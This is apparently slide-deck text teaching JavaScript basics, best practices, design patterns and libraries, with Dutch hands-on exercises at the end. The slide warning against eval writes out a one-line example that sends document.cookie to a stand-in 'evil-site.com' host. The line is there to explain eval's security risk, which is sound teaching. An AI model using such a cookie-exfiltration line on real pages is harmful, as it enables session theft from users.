JavaScript
Good practices, design and libraries

- Presentation
  - (Quick) JavaScript recap
  - Best practices
  - Design (patterns)
  - Libraries
- Hands-on

JavaScript recap

JavaScript?

- Prototype-based
- Scripting
- Dynamic
- Weakly typed

- Object-oriented
- Imperative
- Functional

"Everything* is an object"

* See next slide...
More @ https://developer.mozilla.org/en/JavaScript
More @ http://bonsaiden.github.com/JavaScript-Garden

Actually, not everything is an object

- Primitives
  - "abc"
  - 42
  - true
  - null
  - undefined

More @ http://www.2ality.com/2011/03/javascript-values-not-everything-is.html

Literals

Type	Literal	Constructor
string	"My string"	new String()
number	100, 1.4	new Number()
boolean	false	new Boolean()
array	[6, "abc"]	new Array()
object	{one: 1}	new Object()
function	function(){}	new Function()
regex	/\s*/	new RegExp("\\s*")

Scoping and hoisting

```
var foo = 1;
function bar() {
    if (foo === undefined) {
        var foo = 10;
    }
    return foo;
}

bar();
```

Scoping and hoisting

```
var foo = 1;
function bar() {
    var foo;
    if (foo === undefined) {
        foo = 10;
    }
    return foo;
}

bar();
```

Truthy and Falsy

"Truthy and Falsy are used to determine the result of a conditional expression."

Falsy

- false
- null
- undefined
- Empty String
- 0
- NaN

```
if (condition) {
    // truthy
} else {
    // falsy
}
```

Functions

- function(){}
- function foo() {}
- var foo = function() {}

```
foo();
function foo() {}
```

```
foo();
var foo = function() {}
```

Functions

- The special "arguments" variable
- Watch out when naming a parameter "arguments"

```
function concat() {
    return Array.prototype.join.call(arguments);
}
concat("a", "b", "c", "d")
```

Closures

```
function Counter(start) {
    var count = start;
    return {
        increment: function() {
            count++;
        },
        value: function() {
            return count;
        }
    }
}

var counter = new Counter(4);
counter.increment();
counter.value(); // 5
```

Closures

```
for(var i = 0; i < 10; i++) {
    setTimeout(function() {
        console.log(i);
    }, 1000);
}
```

Closures

```
for(var i = 0; i < 10; i++) {
    (function(e) {
        setTimeout(function() {
            console.log(e);
        }, 1000);
    })(i);
}
```

This

- Default
  this => window
- Calling a function
  foo() => window
- Calling a method
  test.foo() => test
- Calling a constructor
  new Test() => newly created object
- Explicit setting via .apply or .call
  foo.call(bar, 1) => bar

This

```
Foo.method = function() {
    function test() {
        this => window
    }
    this => Foo
    test();
}
```

```
var test = foo.test;
test();    this => window
```

OO

```
var Person = function(name) {
    this.name = name;
}

Person.prototype.describe = function() {
    return _.capitalize(this.name);
}


var john = new Person("john");
john.name => "john"
john.describe(); => "John"
```

OO - Inheritance

```
var Worker = function(name, title) {
    this.name = name;
    this.title = title;
}

Worker.prototype.__proto__ = Person.prototype;
Worker.prototype.describe = function() {
    return Person.prototype.describe.call(this) + " ("+this.title+")";
}

var pete = new Worker("pete", "engineer");
pete.describe(); => "Pete (engineer)"
```

Good (and bad) practices

"JavaScript best practices often parallel those in other programming languages, such as encapsulation and abstraction layers, avoidance of global variables, meaningful naming conventions, use of appropriate design patterns, and systematic testing."

Unit testing

- Jasmine
- QUnit

Sinon.js for mocking

```
var callback = sinon.stub();
callback.withArgs(42).returns(1);
callback.withArgs(1).throws("TypeError");

callback(); // No return value, no exception
callback(42); // Returns 1
callback(1); // Throws TypeError
```

More @ http://pivotal.github.com/jasmine/
More @ https://github.com/jquery/qunit
More @ http://sinonjs.org/

Code style and naming

Mostly the same as Java

- Variables same as Java variables (gearRatio)
- Function constructors same as Java classes (GearRatio)
- Descriptive!
- jQuery objects with a dollar sign ("$form" instead of "form")

Do not rely on brace insertion!

Don't pollute the global object

- Namespaces

```
var namespace = namespace || {};
namespace.module1 = {}
namespace.module2 = {}
```

- Always use var

```
function() {
    bar = 1;
}
```

```
function() {
    var bar = 1;
}
```

More @ http://www.2ality.com/2011/04/modules-and-namespaces-in-javascript.html

Don't modify objects you don't own

- Dependability
- Incompatible implementations
- What if everyone did it?

prototype.js pre 1.6*

```
document.getElementsByClassName("myclass").each(doSomething);
```

* http://ejohn.org/blog/getelementsbyclassname-pre-prototype-16/

Avoid implied typecasting

Always use "===" or "!=="

- More explicit
- Less error prone
- Less thinking
- Faster (no casting)

```
if (x == null) {
    // Checking for just null?
    // Checking for null and undefined?
}

if (typeof x == "function") {
    // "typeof" always returns a string, then why not compare it strictly?
}
```

More @ http://www.2ality.com/2011/06/javascript-equality.html

Do not mix...

- ... HTML with JavaScript
- ... JavaScript with HTML
- ... JavaScript with CSS

Events

```
<a onClick="console.log(1)">Click me</a>
```

```
document.getElementsByTagName("a")
    .addEventListener("click", function() {
        console.log(1);
    });

$("a").click(function(){
    console.log(1);
});
```

Event delagation

```
for(var i = 0; i < 10000; i++) {
    var listItem = $("<li>Click me</li>");
    listItem.click(function(){
        console.log(1);
    });

    $("#list").append(listItem);
}


$("#list").on("click", "li", function(){
    console.log(2);
});
```

Note: .bind(), .live(), .delegate() replaced by .on()

{{templating}}

```
$("#list").append("<li class='activity'><img src='"+avatar_url+"' +
    class='avatar'><h3>"+title+"</h3>....");
```

```
<script type="html/mustache" id="activity-row-template">
    <li class="activity">
        <img src="{{avatar_url}}" class="avatar">
        <h3>{{title}}</h3>
        <p>{{description}}</p>
    </li>
</script>

var template = $("#activity-row-template")[0].textContent
Mustache.to_html(template, model);
```

CSS

```
var element = document.getElementById("foo");
element.style.color = "red";
element.style.border = "1px solid black";
element.style.....
```

```
var element = document.getElementById("foo");
my.library.addClass(element, "highlight");
```

Dom manipulation

```
var list = $("#list");
list.hide();

for(var i = 0; i < 10000; i++) {
    var listItem = $("<li>Click me</li>");
    listItem.click(function(){
        console.log(1);
    });

    list.append(listItem);
}

list.show();
```

Loops

- for loops (arrays and array like structures)
- for-in loops (non-array objects)

```
var i, names = [];
for (i = names.length; i--;) {
   console.log(names[i]);
}

for (var property in object) {
   if (object.hasOwnProperty(property)) {
      console.log(property + ":" + man[property]);
   }
}
```

alert

Use console.log instead of alert

Note: IE8 needs developer tools to be open

eval("evil") === true

eval("document.location = 'http://evil-site.com/?' + document.cookie")

Don't use eval...

- Security
- Performance
- You are doing something wrong

Watch out for:

- new Function("");
- setTimeout("", ...);
- setInterval("", ...);

Multiple files and minification

Split your JavaScript code into multiple files based on;

- Modules
- Objects
- Widgets
- ...

- Uglify.js
- Closure compiler
- YUI compressor

Feature vs browser detection

Do not check the users browser but check the features the browser supports

```
Modernizr.load({
  test: Modernizr.geolocation,
  yep: "geo.js",
  nope: "geo-polyfill.js"
});
```

- 40+ features
- Mondernizr.<feature>
- Adds classes
- Load polyfills

More @ http://www.modernizr.com/
More @ http://yepnopejs.com/

Error handling

```
try {
    throw Error ("Could not ...");
    undefinedfunction();
}
catch(e) {
    console.error("An error has occurred: " + e.message);
} finally {
    ....
}
```

"use strict"

```
var foo = "test";
function test(arg){
    delete arg; // Error
}
delete foo; // Error
delete test; // Error
```

```
{ foo: true, foo: false }    // Error
```

```
eval("var a = false;");
console.log(a); // undefined
```

```
function() {
    arguments = []; // Error
}
```

More @ http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/

Design Patterns

Design patterns

- Adapter
- Decorator
- Facade
- Factory
- Command
- Iterator
- Chaining
- ...

More @ https://github.com/tcorral/Design-Patterns-in-Javascript
More @ https://github.com/shichuan/javascript-patterns

Configuration object

```
var Person = function(options) {
    this.username = options.username;
    this.firstname = options.firstname;
    this.lastname = options.lastname;
}

new Person({
    username: "tomtheun",
    firstname: "tomas",
    lastname: "theunissen"
});
```

Defaults

```
function hello(name) {
    if (name === undefined || name === "") {
        name = "unknown person"
    }

    console.log("Hello, " + name);
}

function hello(name) {
    name = name || "unknown person";
    console.log("Hello, " + name);
}
```

Combined

```
var Point = function(options) {
    this.x = options.x || 0;
    this.y = options.y || 0;
}

var p = new Point({
    x: 10
});

p.x => 10
p.y => 0
```

Parameter validation

```
function factorial(value) {
    if (!_.isNumber(value)) {
        throw ("'value' is required and must be a number");
    }

    if (value === 0) {
        return 1;
    }
    return value * factorial(value - 1);
}
```

Returning functions

```
function Counter(start) {
    var count = start || 0;
    return {
        increment: function() {
            count++;
        },
        value: function() {
            return count;
        }
    }
}

var counter = new Counter(4);
counter.increment();
counter.value(); // 5
```

(Revealing) Module Pattern

```
var foo = (function($){

    var private = function() {...}
    var public = function() {...}

    return {
        public: public
    }
})(window.jQuery)
```

Callbacks

```
function doSomething(callback) {
    ...
    if (typeof callback === "function") {
        callback(response);
    }
}

callback.call(this, response)
```

Example

- logger.js
- app.js

Libraries

"There's a library for that."

tinycon
P.js
jQuery
keymaster
Underscore
zip.js
spin.js
jschannel
moment
JavaScript MVC
resumable.js
money.js
Jed

Hook.js
relevancy.js
Data.js
sticky
jwerty
Backbone
pdf.js
YUI
impress.js
modernizr
curtain.js
require.js
spine.js

ember.js
knockout
turn.js
psd.js
Dojo
jQuery UI
date.js
Batman.js
Underscore.string
Mustache
yepnope.js
touchy.js
....

jQuery

- Selectors
- DOM manipulation
- Events
- AJAX
- Effects
- ...

- Browser abstraction
- Handy shortcuts and features

Need high performance? Don't use it!

Underscore.js

"It's the tie to go along with jQuery's tux."

_.include([1, 2, 3], 3); => true

var persons = *[{name: "John", age: 9}, {name: "Peter", age: 8}];*
_.pluck(persons, "name") => ["John", "Peter"]

_.prune("Hello, world", 8) => "Hello..."

More @ http://documentcloud.github.com/underscore/
More @ https://github.com/epeli/underscore.string

P.js

```
var Person = P(function(person) {
    person.init = function(name) { this.name = name; };

    person.describe = function() {
        return _.capitalize(this.name);
    };
});

var Worker = P(Person, function(worker, person) {
    worker.init = function(name, title) {
        this.name = name;
        this.title = title
    };

    worker.describe = function() {
        return person.describe.call(this) + " (" + this.title + ")";
    };
});
```

Backbone.js

Model, View, Controller for the front-end

- Structured
- Automatic view updates
- URL routing

Others

- Knockout.js
- Spine.js
- Ember.js
- JavaScriptMVC
- ....

More @ http://documentcloud.github.com/backbone/
Example @ http://documentcloud.github.com/backbone/examples/todos/index.html

Questions?

Hands-on

Optie 1:

Bouw een (single-page!) TODO applicatie*

- Backbone
- Underscore
- Mustache

Optie 2:

Neem een bestaande applicatie en refactor de JavaScript code

- Best practices
- Design patterns

!!! Branch first

* http://documentcloud.github.com/backbone/examples/todos/index.html